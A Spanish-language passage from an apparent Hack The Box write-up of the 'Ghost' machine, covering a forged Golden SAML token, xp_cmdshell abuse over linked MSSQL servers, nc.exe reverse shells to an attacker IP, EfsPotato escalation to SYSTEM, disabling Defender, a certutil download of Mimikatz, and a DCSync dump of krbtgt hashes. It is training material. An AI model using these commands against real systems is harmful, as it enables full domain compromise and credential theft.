/home/kali/Desktop/HackTheBox/Windows/AD/Ghost/content/GoldenSAML/ADFSpoof/ADFSpoof.py:96: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.utcnow()
PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJfUk9aMEVGIiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNS0wMi0wN1QyMTowNDoxNy4wMDBaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vY29yZS5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxzYW1scDpTdGF0dXM%2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIvPjwvc2FtbHA6U3RhdHVzPjxBc3NlcnRpb24geG1sbnM9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIElEPSJfNjBWN1M4IiBJc3N1ZUluc3RhbnQ9IjIwMjUtMDItMDdUMjE6MDQ6MTcuMDAwWiIgVmVyc2lvbj0iMi4wIj48SXNzdWVyPmh0dHA6Ly9jb3JlLmdob3N0Lmh0Yi9hZGZzL3NlcnZpY2VzL3RydXN0PC9Jc3N1ZXI%2BPGRzOlNpZ25hdHVyZSB4bWxuczpkcz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI%2BPGRzOlNpZ25lZEluZm8%2BPGRzOkNhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz48ZHM6U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIvPjxkczpSZWZlcmVuY2UgVVJJPSIjXzYwVjdTOCI%2BPGRzOlRyYW5zZm9ybXM%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIvPjwvZHM6VHJhbnNmb3Jtcz48ZHM6RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2Ii8%2BPGRzOkRpZ2VzdFZhbHVlPjZRRW5ua2lVN2UvZmNpMTFZUUxkZEovZGpWeFJORGJ0a25sb1BKS05uM289PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPlJyemFnSko2Sk1SVnY0aUprYTZoV0RqTW5yQkZ3cmxsSVhIYWNLalBHOXBOa25zRmc3TlVxN2FSNWNhd3cyNnd3NGw2M1ZtOG15NjZoc2NHdzFFcHdmN2JBaVZzalNsQVN2cEptVTNNS1IxVEVNU3ZGY1VtOWF3ejIyN3NWcDNiVzQyb2FOY1R0MDNIZWYwcHhVOVNydVV4OGZGSUYwTU5BNzFUSjA3eUptZkJPK3NHY3ltSnN6S0NIalJnUmMrM08wSVcxZzZ3amY0alhLUWhmdU9Hd3RRc1JYdFdMS3o5ekp5b25ZRGRadjZoazRSb3FWdENOYlBoa0JNWGpnS2w0YmNNaHFDUkQ3eTBUVUlvWmQ3SUJRM1p6OFoySWd2TUJTQXJzQ3pEZTU3VStZT2t5Q2FFQTA0TVVaMXpodVZSRldiVW93Zkt0Q2lZMXo1SXVFOGNYQ1dMckZMWkg4a21QTWttZnA3c01jYlphQzduMGVPVkF3a29wS0c3akJwNkpzMjBTRGpvOHYyUDBTYVY3ZVdicHpBSmlXMzdKMnFydXcySXF1LzRPK0l1SFYzN0dPZlNPYUcrS0VDU3NabzdUUE1kbHd3OTh5aTFmcUF5WlRGczVaY0RJcWl4Kzk3QVdDVk9uTjJSSG1ZZDVrV3gyYVZDbWRkRTVTZzM1VHBrblJmbm9UMzFPSWtHWW9xclRqSWdUZ0RWZ1c2cHNvbUpoRXFib1Nqck5BeWtyQnF4Z2dHYWhJNHBhVHdTd1lrUVpzUEJIZ2F6VkR2dnRET1YxQy9hZmNGY2x1Y2FTTG1iTzluSDZETDVlVmFLSzNiL1hwcVEwM0FuaFd4NWdsS2ErRHdnc2tQMXVlQUgyMWxCa2hGa09lMjNmVStSdFpISzRaZExXWXdQelFZPTwvZHM6U2lnbmF0dXJlVmFsdWU%2BPGRzOktleUluZm8%2BPGRzOlg1MDlEYXRhPjxkczpYNTA5Q2VydGlmaWNhdGU%2BTUlJRTVqQ0NBczZnQXdJQkFnSVFKRmNXd015YlJhNU80K1dPNXRXb0dUQU5CZ2txaGtpRzl3MEJBUXNGQURBdU1Td3dLZ1lEVlFRREV5TkJSRVpUSUZOcFoyNXBibWNnTFNCbVpXUmxjbUYwYVc5dUxtZG9iM04wTG1oMFlqQWdGdzB5TkRBMk1UZ3hOakUzTVRCYUdBOHlNVEEwTURVek1ERTJNVGN4TUZvd0xqRXNNQ29HQTFVRUF4TWpRVVJHVXlCVGFXZHVhVzVuSUMwZ1ptVmtaWEpoZEdsdmJpNW5hRzl6ZEM1b2RHSXdnZ0lpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElDRHdBd2dnSUtBb0lDQVFDK0FBT0lmRXF0bFljbjE1M0wxQnZHUWdEeVhUbll3VFJ6c0s1OSt6RTF6Z0dLTzlONW5iOEZrK2RhS3BXTFFhaUg3b0RIYWVudy9RYXhCZzVxZGVEWW1EM296OEt5YUExeWdZQnJ6bTR3VzdGZjg3cks5RmU1SjUvaDZXOWc3NDloNUJJcVBRT3AwbDZzMXJmdW1PY2NONHliVzk1RVdOTDB2dVFYdkMrS1E0RDRnTVh1OG1DR3B4dHZJTDhpbE50SnVJRzNPUllTS2hSYWwweXlKZU9oRzR4Z2xyWkpGMThwOXdobkU2b21nZ21BNm4yc2hEay90dlRZamlpNWU3L2ljV1RLa3JzTUNwYUtVTms3bXhkTVpoUWFiN1NtZktyWk40cFJEN2RWZzV6ekl5RDdVelM5Q0hMQzZ4TnpxL1owaHVhT2FKaE9TZEpTZ2F0L2JzRzhuYngxOUhELyt5cFc5SjJMdE5GdWdkV3RtVUJXRE9RQllWaEI4U2c0VkVHZ1A5anlJdEhIMmJ6c0RmalJkSjhFMXVOSldQL2tRQTErd1lsT2RkTHFVM2IwSXNDdmxBOEV2WVcwVDFSc3U3N280eC93MGdXYjBvUVBFSXo3ejk3M2I0OTZ3cVF0M0RueWZlTzNsWFhmWk5jdmFqNUtDUDJUdEdCK0tzaEY5cGtJUHhxN0YyZ01oN1FqeGpSSHNBMjlWOGpGbzlnTEQ3a1BWaWNhSVVkc2dpRkhuWVFGMTRhNTJKdFIxVjVpTitoOTVKa3V1RXFRV0RCSEF2UEVCQlprRVpIKzV5VCthQ0ZYWFgrQnBQdDNRR2pZTGVKVThDRnNNdG44UVZMWXZMZGNWUnNVblJoL1dIaVh3Sk9PRVZFQ2E5dzcveVZuaGFsQ05CeDFFL2w0S1FJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUNBUUFXWUtaVzNjRENCTzZkVDN5ZmwzT2N1eXAxTFZLVkkrOXBGeC9iYldwV2pTZGg2YjM5TFR4eEQ3RllVdGh1V1BaM3JGNEcrRmRNRkhIQ3gzWXBFbVVGbkVMS3NYcWhaOTg5QVg1OEkvM21iZlVsS1dlSVBMU0xrcCtlUlpvTUprdDdrMS9LWHREYXNPUW4wTnNnWUVvd0xCSW1NQ011OXV1am5DbUZPd0hQL0lCaGdZUU1IaDQ2QnpTWFdQM2k4VlhiclJ0RHBvL2MvL09GSmhHbW5uRjhaUG1pNHh0emZTREJwVktxd1ZMcDc4Q2d1TXhqUWQrYmRVYjQ1NTg4Wko0Q0xzUGRSUXAzMFdKMS9DTklhZW52Sld0QTJHNUladzVVMEVXQ0pMb1lKV0ZzOWl5T2ExL3k1NXJ1VzZKOGxJR0Qwd21vRWVDbDlDSDFFZDRkelVkVVhmMU1CQ1lQM1g5MmlheHpVRTB1cEdkLzFRbzZIVHl5T2xXdUF3cmtUMlZIRUxLVlpLT2c4K2RseTk3Z3laSWZVdFF3SWtQd05sOHZvMDRjZmoraHpPdkJ6UEtBQVloMTROTGd2ZUFJL0RxTW5PME9LTyt3MUhCS3c2NE5CQ244Z29hekYrUHVGZlVPMHlOSEZMNGt4TXBjYXA2aWV2NmczQlhDU0R3ZnFUVU9FdUVzN3E5b1lLZ3EycW5OVk9USWhoSW5NWEJ6RW02aVAxM2pmdU9vWEpkUEFuRVVYbjR5NXl3QTk3cnRiR25aRVB5eDFmMUVrWC9oYnFCUDR2b2d2OWtsdGFVRUVWWGtTK2hQcHhabWV4Q05yQkQxcTdHSi81MGViWWxDMENldjh3Nk1zOHRNME9ydnBwR1lsV3J0UHdldkV2ZmlSa3dCTEc3RU1BbkxTdz09PC9kczpYNTA5Q2VydGlmaWNhdGU%2BPC9kczpYNTA5RGF0YT48L2RzOktleUluZm8%2BPC9kczpTaWduYXR1cmU%2BPFN1YmplY3Q%2BPE5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpuYW1laWQtZm9ybWF0OnRyYW5zaWVudCI%2BR0hPU1RcYWRtaW5pc3RyYXRvcjwvTmFtZUlEPjxTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI%2BPFN1YmplY3RDb25maXJtYXRpb25EYXRhIE5vdE9uT3JBZnRlcj0iMjAyNS0wMi0wN1QyMTowOToxNy4wMDBaIiBSZWNpcGllbnQ9Imh0dHBzOi8vY29yZS5naG9zdC5odGI6ODQ0My9hZGZzL3NhbWwvcG9zdFJlc3BvbnNlIi8%2BPC9TdWJqZWN0Q29uZmlybWF0aW9uPjwvU3ViamVjdD48Q29uZGl0aW9ucyBOb3RCZWZvcmU9IjIwMjUtMDItMDdUMjE6MDQ6MTcuMDAwWiIgTm90T25PckFmdGVyPSIyMDI1LTAyLTA3VDIyOjA0OjE3LjAwMFoiPjxBdWRpZW5jZVJlc3RyaWN0aW9uPjxBdWRpZW5jZT5odHRwczovL2NvcmUuZ2hvc3QuaHRiOjg0NDM8L0F1ZGllbmNlPjwvQXVkaWVuY2VSZXN0cmljdGlvbj48L0NvbmRpdGlvbnM%2BPEF0dHJpYnV0ZVN0YXRlbWVudD48QXR0cmlidXRlIE5hbWU9Imh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3VwbiI%2BPEF0dHJpYnV0ZVZhbHVlPkdIT1NUXGFkbWluaXN0cmF0b3I8L0F0dHJpYnV0ZVZhbHVlPjwvQXR0cmlidXRlPjxBdHRyaWJ1dGUgTmFtZT0iaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvY2xhaW1zL0NvbW1vbk5hbWUiPjxBdHRyaWJ1dGVWYWx1ZT5BZG1pbmlzdHJhdG9yPC9BdHRyaWJ1dGVWYWx1ZT48L0F0dHJpYnV0ZT48L0F0dHJpYnV0ZVN0YXRlbWVudD48QXV0aG5TdGF0ZW1lbnQgQXV0aG5JbnN0YW50PSIyMDI1LTAyLTA3VDIxOjA0OjE2LjUwMFoiIFNlc3Npb25JbmRleD0iXzYwVjdTOCI%2BPEF1dGhuQ29udGV4dD48QXV0aG5Db250ZXh0Q2xhc3NSZWY%2BdXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFjOmNsYXNzZXM6UGFzc3dvcmRQcm90ZWN0ZWRUcmFuc3BvcnQ8L0F1dGhuQ29udGV4dENsYXNzUmVmPjwvQXV0aG5Db250ZXh0PjwvQXV0aG5TdGF0ZW1lbnQ%2BPC9Bc3NlcnRpb24%2BPC9zYW1scDpSZXNwb25zZT4%3D

Deberemos de tener aรฑadidocore.ghost.htb en nuestro archivo /etc/hosts, esto ya lo realizamos inicialmente en la enumeraciรณn de subdominios.

โฏ cat /etc/hosts | grep ghost.htb
10.10.11.24 ghost.htb dc01.ghost.htb intranet.ghost.htb federation.ghost.htb gitea.ghost.htb core.ghost.htb

Interceptaremos la solicitud al acceder a https://core.ghost.htb:8443/adfs/saml/postResponse, modificaremos la solicitud GET por POST e indicaremos el SAML obtenido en el paso anterior, al enviar la solicitud en BurpSuite, verificamos que parece que ha funcionado correctamente el Golden SAML Attack.

Haremos click derecho y trataremos de visualizar la respuesta en el navegador.

Verificaremos que se nos quedarรก nuestro navegador cargando en la siguiente pรกgina web.

Volvemos al BurpSuite y de la solicitud interceptada, le daremos a la opciรณn de Forward.

Al acceder nuevamente a nuestro navegador, comprobamos el acceso al Ghost Config Panel, el acceso que dispnemos con el SAML. Verificamos que se trata de una pรกgina web en la cual nos permite realizar consultas SQL.

Esta consulta intenta obtener el nombre de los servidores vinculados a la base de datos, seleccionando la columna SRVNAME de la tabla SYSSERVERS. Es comรบn en SQL Server, y en un contexto de inyecciรณn SQL, un atacante podrรญa usarla para obtener informaciรณn sobre los servidores vinculados y otros detalles de la base de datos.

SELECT+SRVNAME+FROM+SYSSERVERS

Este comando intenta ejecutar cรณdigo como el usuario sa, que es una cuenta de administrador en el sistema. Se utiliza el EXECUTE AS LOGIN para cambiar el contexto de ejecuciรณn al usuario sa, y luego se ejecuta un comando que obtiene el nombre de usuario del sistema con SELECT SYSTEM_USER. Esto puede ser รบtil para probar si se tienen privilegios elevados o para realizar acciones maliciosas con permisos elevados.

EXECUTE('EXECUTE+AS+LOGIN+%3d+''sa''%3bSELECT+SYSTEM_USER')+AT+[PRIMARY]

Este comando tiene como objetivo habilitar la opciรณn xp_cmdshell en SQL Server, lo que permite ejecutar comandos del sistema operativo directamente desde la base de datos. Primero, utiliza EXEC AS LOGIN = 'sa' para cambiar al contexto del usuario sa, que es el administrador del sistema. Luego, habilita las opciones avanzadas (sp_configure "show advanced options", 1) y habilita el uso de xp_cmdshell (sp_configure "xp_cmdshell", 1). Finalmente, ejecuta un comando del sistema operativo usando xp_cmdshell, en este caso, whoami, para obtener el nombre de usuario bajo el cual se estรก ejecutando el proceso.

En elresultado obtenido, verificamos que el usuario que ejecuta el comando es NT SERVICE\mssqlserver.

EXEC('EXEC AS LOGIN = ''sa'';EXEC sp_configure "show advanced options", 1; RECONFIGURE; EXEC sp_configure "xp_cmdshell", 1; RECONFIGURE;exec xp_cmdshell "whoami"') AT [PRIMARY]

Dado que podemos ejecutar comandos arbitrarios en el equipo, el siguiente paso serรก lograr obtener acceso al sistema. Para ello, dispondremos del binario de nc.exe el cual compartiremos a travรฉs de un servidor SMB.

โฏ ls -l nc.exe
.rwxr-xr-x kali kali 28 KB Fri Feb  7 22:36:05 2025 ๏…บ nc.exe

โฏ smbserver.py smbFolder $(pwd) -username gzzcoo -password gzzcoo123 -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

Nos pondremos en escucha con nc para recibir la Reverse Shell.

โฏ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...

Lo primero que debereos realizar, es conectar nuestro servidor SMB al equipo mediante una unidad de red, para ello haremos uso del siguiente comando. Verificaremos que se nos indica un mensaje de The command completed successfully.

EXEC('EXEC+AS+LOGIN+%3d+''sa''%3bEXEC+sp_configure+"show+advanced+options",+1%3b+RECONFIGURE%3b+EXEC+sp_configure+"xp_cmdshell",+1%3b+RECONFIGURE%3bexec+xp_cmdshell+"net+use+x:+\\10.10.16.7\smbFolder+/user:gzzcoo+gzzcoo123"')+AT+[PRIMARY]

Una vez tengamos nuestro recurso compartido en una unidad de red del equipo, lo que realizaremos es ejecutar el nc.exe que disponemos en nuestro servidor SMB para otorgarnos una Reverse Shell.

EXEC('EXEC+AS+LOGIN+%3d+''sa''%3bEXEC+sp_configure+"show+advanced+options",+1%3b+RECONFIGURE%3b+EXEC+sp_configure+"xp_cmdshell",+1%3b+RECONFIGURE%3bexec+xp_cmdshell+"x:\\nc.exe+-e+cmd+10.10.16.7+443"')+AT+[PRIMARY]

Verificamos que hemos ganado acceso al equipo mediante el usuariomssqlserver.

โฏ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.24] 49834
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt service\mssqlserver

Shell as SYSTEM

Abusing SeImpersonatePrivilege (EfsPotato)

Revisando el equipo al cual disponemos acceso, verificamos que nos encontramos en un equipo distinto al del DC.

PS C:\ProgramData> hostname
hostname
PRIMARY

PS C:\ProgramData> ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . : 10.0.0.10
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.0.254
PS C:\ProgramData> 

Revisando los permisos de whoami /priv que dispone el usuario actual, verificamos que disponemos del privilegio SeImpersonatePrivilege el cual nos permitirรญa abusar de รฉl para convertirnos en NT AUTHORITY\SYSTEM.

C:\Windows\system32>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

En este caso, lo que realizaremos es abusar del privilegio menciondo a travรฉs de EfsPotato.

EfsPotato es una herramienta de post-explotaciรณn que permite obtener privilegios elevados en sistemas Windows utilizando una vulnerabilidad en el servicio de cifrado de archivos (EFS). Aprovecha el hecho de que los procesos con privilegios mรกs bajos pueden manipular ciertos objetos relacionados con el cifrado de archivos, lo que permite a un atacante ejecutar cรณdigo con privilegios de sistema (SYSTEM). Es รบtil cuando un atacante tiene acceso a una cuenta con privilegios limitados, pero no cuenta con privilegios de administrador en el sistema.

LogoGitHub - zcgonvh/EfsPotato: Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).GitHub

En el repositorio del binario de EfsPotato, deberemos de compilar el binario desde el equipo. Para ello, primero revisaremos las versiones de Microsoft.Net que dispone el equipo vรญctima.

PS C:\ProgramData> dir C:\Windows\Microsoft.Net\Framework\
dir C:\Windows\Microsoft.Net\Framework\


    Directory: C:\Windows\Microsoft.Net\Framework


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----          5/8/2021   1:27 AM                v1.0.3705                                                            
d-----          5/8/2021   1:27 AM                v1.1.4322                                                            
d-----          5/8/2021   1:15 AM                v2.0.50727                                                           
d-----          2/7/2025   9:56 AM                v4.0.30319 

Nos descargaremos el archivo EfsPotato.cs del proyecto de GitHub.

โฏ ls -l EfsPotato.cs
.rw-rw-r-- kali kali 25 KB Fri Feb  7 22:50:45 2025 ๓ฐŒ› EfsPotato.cs

Copiaremos este archivo que contiene el cรณdigo fuente del binario hacia el equipo vรญctima.

PS C:\ProgramData> copy X:\EfsPotato.cs C:\ProgramData\EfsPotato.cs
copy X:\EfsPotato.cs C:\ProgramData\EfsPotato.cs
PS C:\ProgramData> ls
ls


    Directory: C:\ProgramData


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d---s-          5/8/2021   1:27 AM                Microsoft                                                            
d-----          2/2/2024   8:36 PM                Package Cache                                                        
d-----          5/8/2021   1:15 AM                regid.1991-06.com.microsoft                                          
d-----          5/8/2021   1:15 AM                SoftwareDistribution                                                 
d-----          5/8/2021   2:33 AM                ssh                                                                  
d-----         1/31/2024   6:28 PM                USOPrivate                                                           
d-----          5/8/2021   1:15 AM                USOShared                                                            
-a----          2/7/2025   1:50 PM          25441 EfsPotato.cs  

Compilaremos elEfsPotato.cs y verificaremos que se ha creado el archivo EfsPotato.exe.

PS C:\ProgramData> C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
Microsoft (R) Visual C# Compiler version 4.8.4161.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.

This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240

PS C:\ProgramData> ls
ls


    Directory: C:\ProgramData


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d---s-          5/8/2021   1:27 AM                Microsoft                                                            
d-----          2/2/2024   8:36 PM                Package Cache                                                        
d-----          5/8/2021   1:15 AM                regid.1991-06.com.microsoft                                          
d-----          5/8/2021   1:15 AM                SoftwareDistribution                                                 
d-----          5/8/2021   2:33 AM                ssh                                                                  
d-----         1/31/2024   6:28 PM                USOPrivate                                                           
d-----          5/8/2021   1:15 AM                USOShared                                                            
-a----          2/7/2025   1:50 PM          25441 EfsPotato.cs                                                         
-a----          2/7/2025   1:53 PM          17920 EfsPotato.exe 

Por otro lado, tambiรฉn nos copiaremos el binario de nc.exe en la ruta de C:\ProgramData.

PS C:\ProgramData> copy x:\nc.exe C:\ProgramData\nc.exe
copy x:\nc.exe C:\ProgramData\nc.exe
PS C:\ProgramData> ls
ls


    Directory: C:\ProgramData


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d---s-          5/8/2021   1:27 AM                Microsoft                                                            
d-----          2/2/2024   8:36 PM                Package Cache                                                        
d-----          5/8/2021   1:15 AM                regid.1991-06.com.microsoft                                          
d-----          5/8/2021   1:15 AM                SoftwareDistribution                                                 
d-----          5/8/2021   2:33 AM                ssh                                                                  
d-----         1/31/2024   6:28 PM                USOPrivate                                                           
d-----          5/8/2021   1:15 AM                USOShared                                                            
-a----          2/7/2025   1:50 PM          25441 EfsPotato.cs                                                         
-a----          2/7/2025   1:53 PM          17920 EfsPotato.exe                                                        
-a----          2/7/2025   1:36 PM          28160 nc.exe  

Nos pondremos en escucha con nc para recibir la Shell como NT AUTHORITY\SYSTEM.

โฏ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...

Ejecutaremos el EfsPotato.exe para convertirnos en usuario NT AUTHORITY\SYSTEM y ejecutaremos el nc.exe para enviarnos una Reverse Shell, este comando lo ejecutarรก el usuario NT AUTHORITY\SYSTEM.

PS C:\ProgramData> .\EfsPotato.exe "C:\ProgramData\nc.exe -e cmd 10.10.16.7 444"
.\EfsPotato.exe "C:\ProgramData\nc.exe -e cmd 10.10.16.7 444"
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=19a98a00)
[+] Get Token: 908
[!] process with pid: 272 created.
==============================

Verificamos que hemos ganado acceso al equipo que nos encontrรกbamos y nos hemos convertido en usuario NT AUTHORITY\SYSTEM.

โฏ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.24] 49800
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.

C:\ProgramData>whoami
whoami
nt authority\system

Deshabilitaremos el AV (Antivirus) del equipo a travรฉs del siguiente comando.

PS C:\ProgramData> Set-MpPreference -DisableRealtimeMonitoring $True

Privilege Escalation (Method 1)

Parent Domain Compromise + SID Injection + Golden Ticket Attack from Linux

Nos encontramos en el equipo PRIMARY, que forma parte del dominio CORP.GHOST.HTB, con privilegios NT AUTHORITY\SYSTEM. Nuestro objetivo es escalar privilegios dentro del dominio y, para ello, utilizaremos un Golden Ticket Attack.

Este mรฉtodo nos permitirรก generar un ticket Kerberos vรกlido con privilegios administrativos, otorgรกndonos acceso total en el dominio sin necesidad de credenciales legรญtimas. A lo largo del proceso, explicaremos cada paso en detalle, desde la obtenciรณn de las claves necesarias hasta la generaciรณn y uso del ticket.

En este caso, deberemos de disponer del binario de Mimikatz en nuestro equipo, el cual compartiremos a travรฉs de un servidor web.

โฏ ls -l mk.exe
.rw-r--r-- kali kali 1.2 MB Fri Feb  7 22:57:17 2025 ๏…บ mk.exe

โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Desde el equipo de PRIMARY nos descargaremos el binario de Mimikatz.

PS C:\ProgramData> certutil.exe -f -urlcache -split http://10.10.16.7/mk.exe mk.exe
certutil.exe -f -urlcache -split http://10.10.16.7/mk.exe mk.exe
****  Online  ****
  000000  ...
  131308
CertUtil: -URLCache command completed successfully.

Utilizamos mimikatz para obtener el hash NTLM y el aes256_hmac del usuario krbtgt, el cual este รบltimo necesitaremos para realizar el Golden Ticket Attack.

PS C:\ProgramData> .\mk.exe "lsadump::dcsync /user:CN=krbtgt,CN=Users,DC=corp,DC=ghost,DC=htb" exit
.\mk.exe "lsadump::dcsync /user:CN=krbtgt,CN=Users,DC=corp,DC=ghost,DC=htb"

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(commandline) # lsadump::dcsync /user:CN=krbtgt,CN=Users,DC=corp,DC=ghost,DC=htb
[DC] 'corp.ghost.htb' will be the domain
[DC] 'PRIMARY.corp.ghost.htb' will be the DC server
[DC] 'CN=krbtgt,CN=Users,DC=corp,DC=ghost,DC=htb' will be the user account

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )_hmac dfel usuari
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   : 
Password last change : 1/31/2024 6:34:01 PM
Object Security ID   : S-1-5-21-2034262909-2733679486-179904498-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 69eb46aa347a8c68edb99be2725403ab
    ntlm- 0: 69eb46aa347a8c68edb99be2725403ab
    lm  - 0: fceff261045c75c4d7f6895de975f6cb

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 4acd753922f1e79069fd95d67874be4c

* Primary:Kerberos-Newer-Keys *
    Default Salt : CORP.GHOST.HTBkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d
      aes128_hmac       (4096) : ea18711cfd69feef0c8efba75bca9235
      des_cbc_md5       (4096) : b3e070025110ce1f

* Primary:Kerberos *
    Default Salt : CORP.GHOST.HTBkrbtgt
    Credentials
      des_cbc_md5       : b3e070025110ce1f

* Packages *
    NTLM-Strong-NTOWF

* Primary:WDigest *
    01  673e591f1e8395d5bf9069b7ddd084d6
    02  1344e8aade9169b015f2ca4ddf8a04bd
    03  021a6b424b5372ef3511673b04647862
    04  673e591f1e8395d5bf9069b7ddd084d6
    05  1344e8aade9169b015f2ca4ddf8a04bd
    06  122def4643832d604a97c9c02e29cb38
    07  673e591f1e8395d5bf9069b7ddd084d6
    08  2526b041b761a9ae973e69ee23d8ab97
    09  2526b041b761a9ae973e69ee23d8ab97
    10  43c410fd94dc2ca31c3d12cd76ea5e5c
    11  b51d328dbb94b922331d54ffd54134d5
    12  2526b041b761a9ae973e69ee23d8ab97
    13  99c658551700bb8b4dbe0503acade3cb
    14  b51d328dbb94b922331d54ffd54134d5
    15  8a1e17a5a2aa32b2120a39ba99881020
    16  8a1e17a5a2aa32b2120a39ba99881020
    17  9ebecd6b439ee2e7847819e54be70d8f
    18  ff83c6eb25c8da26d5332aeeaeae4cb8
